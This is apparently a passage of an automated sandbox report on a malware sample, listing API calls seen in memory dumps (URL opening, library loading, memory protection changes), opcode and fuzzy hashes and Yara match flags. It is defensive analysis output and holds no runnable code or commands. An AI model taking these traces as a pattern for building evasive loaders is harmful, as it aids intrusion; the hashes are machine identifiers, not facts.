                    • Opcode Fuzzy Hash: b3fb0669430d125040c1b1ba30fab3d2efc564aeb50e47036423320bd51ee996
                    • Instruction Fuzzy Hash: 1B1114B1C046199BCB10CF9AC444BDEFBB4FB49220F11856AE819B7240D379A955CFE2
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    • GlobalMemoryStatusEx.KERNEL32(?,?,?,?,?,?,?,?,?,1CDBDBEA), ref: 1CDBDCD7
                    Memory Dump Source
                    • Source File: 00000002.00000002.612154111.000000001CDB0000.00000040.00000001.sdmp, Offset: 1CDB0000, based on PE: false
                    Similarity
                    • API ID: GlobalMemoryStatus
                    • String ID:
                    • API String ID: 1890195054-0
                    • Opcode ID: 9161424f7849394217263aef4dd3652a5d8a6b787377ff3e0242b4b08396a31c
                    • Instruction ID: f7fa277d552fc3810cd8f7b19627cc50bf5765cc9a75f2379cf9336783d943ee
                    • Opcode Fuzzy Hash: 9161424f7849394217263aef4dd3652a5d8a6b787377ff3e0242b4b08396a31c
                    • Instruction Fuzzy Hash: AD1112B1C006199BCB00CF9AD844BEEFBB4BB49220F11852AD818B7240D379A945CFA2
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    • OleInitialize.OLE32(00000000), ref: 1CDAB0C5
                    Memory Dump Source
                    • Source File: 00000002.00000002.612125170.000000001CDA0000.00000040.00000001.sdmp, Offset: 1CDA0000, based on PE: false
                    Similarity
                    • API ID: Initialize
                    • String ID:
                    • API String ID: 2538663250-0
                    • Opcode ID: f748267eb67003359fd67d87c9a540e1584dd99e6ac4117631612f2891f55f03
                    • Instruction ID: d2814f470cbf7f4a663027da0915559e4fb79bee20d595a97d79c2390b0ee37e
                    • Opcode Fuzzy Hash: f748267eb67003359fd67d87c9a540e1584dd99e6ac4117631612f2891f55f03
                    • Instruction Fuzzy Hash: 021130B19002488FCB20CF9AC844B9EFBF8EB49224F108819E559A7710C375A945CBA9
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    • OleInitialize.OLE32(00000000), ref: 1CDAB0C5
                    Memory Dump Source
                    • Source File: 00000002.00000002.612125170.000000001CDA0000.00000040.00000001.sdmp, Offset: 1CDA0000, based on PE: false
                    Similarity
                    • API ID: Initialize
                    • String ID:
                    • API String ID: 2538663250-0
                    • Opcode ID: 5b7bda51a6d528c46ae1cc80fe8748425abf3ded35691abfe011e881c80fcabc
                    • Instruction ID: bbcc5a247f67e309dd0f232b45ca05f2fa175f80c12acbf345d9133cdcd6e6ce
                    • Opcode Fuzzy Hash: 5b7bda51a6d528c46ae1cc80fe8748425abf3ded35691abfe011e881c80fcabc
                    • Instruction Fuzzy Hash: 321133B19002888FCB10CF99C4447DFFFF4EF49224F148819D559A7710C379A945CBA5
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    • InternetOpenUrlA.WININET(?,?,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00F82A33
                    Memory Dump Source
                    • Source File: 00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmp, Offset: 00F81000, based on PE: false
                    Yara matches
                    Similarity
                    • API ID: InternetOpen
                    • String ID:
                    • API String ID: 2038078732-0
                    • Opcode ID: 8631ddcbdb4a5bbb842747629e0331aa264e3e6b3bb92457abc07fda3cbf9670
                    • Instruction ID: 9e51b3029d5e1b08de95000bd7f3e0b41827f596940617d0484eb09571367e9c
                    • Opcode Fuzzy Hash: 8631ddcbdb4a5bbb842747629e0331aa264e3e6b3bb92457abc07fda3cbf9670
                    • Instruction Fuzzy Hash: 05014C707443879FEF749E64CD84BEA37A9AF44340F044429ED0ACA641E734E940EB20
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    • LoadLibraryA.KERNEL32(?,321C9581,?,00F849D2,00F81C11,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00F84110
                    Memory Dump Source
                    • Source File: 00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmp, Offset: 00F81000, based on PE: false
                    Yara matches
                    Similarity
                    • API ID: LibraryLoad
                    • String ID:
                    • API String ID: 1029625771-0
                    • Opcode ID: ca74a34ba31c8437dd1d1c82630ccede39ee6dcd258c244153001de0bc413197
                    • Instruction ID: 46bc47e49916f90cb6c1d2d3f59b7176fd6de53f6d6fe15ad0d1748bbb4b36a3
                    • Opcode Fuzzy Hash: ca74a34ba31c8437dd1d1c82630ccede39ee6dcd258c244153001de0bc413197
                    • Instruction Fuzzy Hash: 48F0E29091022779DF323774AC097FE2155EF20331F504429FE02C1483D61894C27F62
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    • LoadLibraryA.KERNEL32(?,321C9581,?,00F849D2,00F81C11,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00F84110
                    Memory Dump Source
                    • Source File: 00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmp, Offset: 00F81000, based on PE: false
                    Yara matches
                    Similarity
                    • API ID: LibraryLoad
                    • String ID:
                    • API String ID: 1029625771-0
                    • Opcode ID: 7f1e0ba8251f1a315d9eac4af4f78990643e79526c8a325072f619c77f92e5f6
                    • Instruction ID: a9bbffc5eacf684d53756ae371f21c7a47f1c87ecc644282c1adfede45f2936a
                    • Opcode Fuzzy Hash: 7f1e0ba8251f1a315d9eac4af4f78990643e79526c8a325072f619c77f92e5f6
                    • Instruction Fuzzy Hash: 3AE02BF06001176ADB12BF70AD057ED72506F28311F00493DFD40C2001CB1990C5AB55
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00F82617,00F82689), ref: 00F82653
                    Memory Dump Source
                    • Source File: 00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmp, Offset: 00F81000, based on PE: false
                    Yara matches
                    Similarity
                    • API ID: CreateFile
                    • String ID:
                    • API String ID: 823142352-0
                    • Opcode ID: e0f5497fb117e8416a690dbbeda8833749c3625edf2b11b9b3ad9a12ab99efc5
                    • Instruction ID: 2043a6518da0996391df4a8b16e358ca6457fe2632aff2568437c509441ed926
                    • Opcode Fuzzy Hash: e0f5497fb117e8416a690dbbeda8833749c3625edf2b11b9b3ad9a12ab99efc5
                    • Instruction Fuzzy Hash: 01C08C307E4304BAFA308A309C5BFC522064B80F00E604009B74A3D1C040E05298C61A
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Non-executed Functions

                    Memory Dump Source
                    • Source File: 00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmp, Offset: 00F81000, based on PE: false
                    Yara matches
                    Similarity
                    • API ID: LibraryLoadMemoryProtectVirtual
                    • String ID:
                    • API String ID: 3389902171-0
                    • Opcode ID: bfe09d9a1948ac5375e769f99c78b6e31149a0e51a241be8c01b0866af9450a6
                    • Instruction ID: a18a942e2cd74ee9294f8a13982377d116ded0cfb2cffd2ee6b60ee92daa024a
                    • Opcode Fuzzy Hash: bfe09d9a1948ac5375e769f99c78b6e31149a0e51a241be8c01b0866af9450a6
                    • Instruction Fuzzy Hash: AA71A475A043438EDF25EF28C5D87A5BBA1AF63374F04829DC9A64F2D6D3349842D722
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmp, Offset: 00F81000, based on PE: false
                    Yara matches
                    Similarity
                    • API ID: LibraryLoadMemoryProtectVirtual
                    • String ID:
                    • API String ID: 3389902171-0
                    • Opcode ID: bad9c6360baee64f8c7161e48e7f87b03b95439566394a72fbf4e3e8b25f0627
                    • Instruction ID: bcdc46eaa700ea9e7c7c30da45d61b430dc8be9a0b26b0fb4819cb8d053095fa
                    • Opcode Fuzzy Hash: bad9c6360baee64f8c7161e48e7f87b03b95439566394a72fbf4e3e8b25f0627
                    • Instruction Fuzzy Hash: ED418170904382CEDB25DF28C4D4B95BAE1AF57320F08C2ADC9968F2E6D375D842D712
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmp, Offset: 00F81000, based on PE: false
                    Yara matches
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 6bdd7eb6aa8d08bc5ae40a3ac42fe5586fffe70fa685b04c316cca6328a5780d
                    • Instruction ID: dbdac1876f04fcd1b34fa2063ed296cb1c12d24355cbb4c58b3b8882d2024321
                    • Opcode Fuzzy Hash: 6bdd7eb6aa8d08bc5ae40a3ac42fe5586fffe70fa685b04c316cca6328a5780d
                    • Instruction Fuzzy Hash: AEF0A7367401028FCB14EF18C5D0FDA73A7AB61310BE14566D84287565C325FC95EB11
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmp, Offset: 00F81000, based on PE: false
                    Yara matches
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 6bd412257efced0184e5670886e1a3f3c9dead1f5d07da66ce2be7c548bb7cf3
                    • Instruction ID: 697c81a598540c084ca623f3709047616cd474badd7195dddb6c340ddef0f7ba
                    • Opcode Fuzzy Hash: 6bd412257efced0184e5670886e1a3f3c9dead1f5d07da66ce2be7c548bb7cf3
                    • Instruction Fuzzy Hash: 82B092BA2416C28FEF02DE08C481B4073B0FB04A84B0904D0E402DB711C228E901CA00
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmp, Offset: 00F81000, based on PE: false
                    Yara matches
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 9553b201f40634b3f0bfaa8b0557a5c34869809b08848db32634946b51e74d60
                    • Instruction ID: f1647c15dfe5582e2114d8b48c9dc7a79c4e1b76aa7bcc19d5d00c5bce2ac4c7
                    • Opcode Fuzzy Hash: 9553b201f40634b3f0bfaa8b0557a5c34869809b08848db32634946b51e74d60
                    • Instruction Fuzzy Hash:
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmp, Offset: 00F81000, based on PE: false
                    Yara matches
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: afc8ed7304f4a69bed28350cfab0495eb95067c690a2f9ee9a17d9c4b42442ff
                    • Instruction ID: 2f8ddbe763d9702b08b2dd61a0622b054d1d69553c4a7d8417efa65456988def
                    • Opcode Fuzzy Hash: afc8ed7304f4a69bed28350cfab0495eb95067c690a2f9ee9a17d9c4b42442ff
                    • Instruction Fuzzy Hash: 34B09230211540CFCA41CA4AC180F4073A0B740700F810490E1418BA91C228EC01CA04
                    Uniqueness

                    Uniqueness Score: -1.00%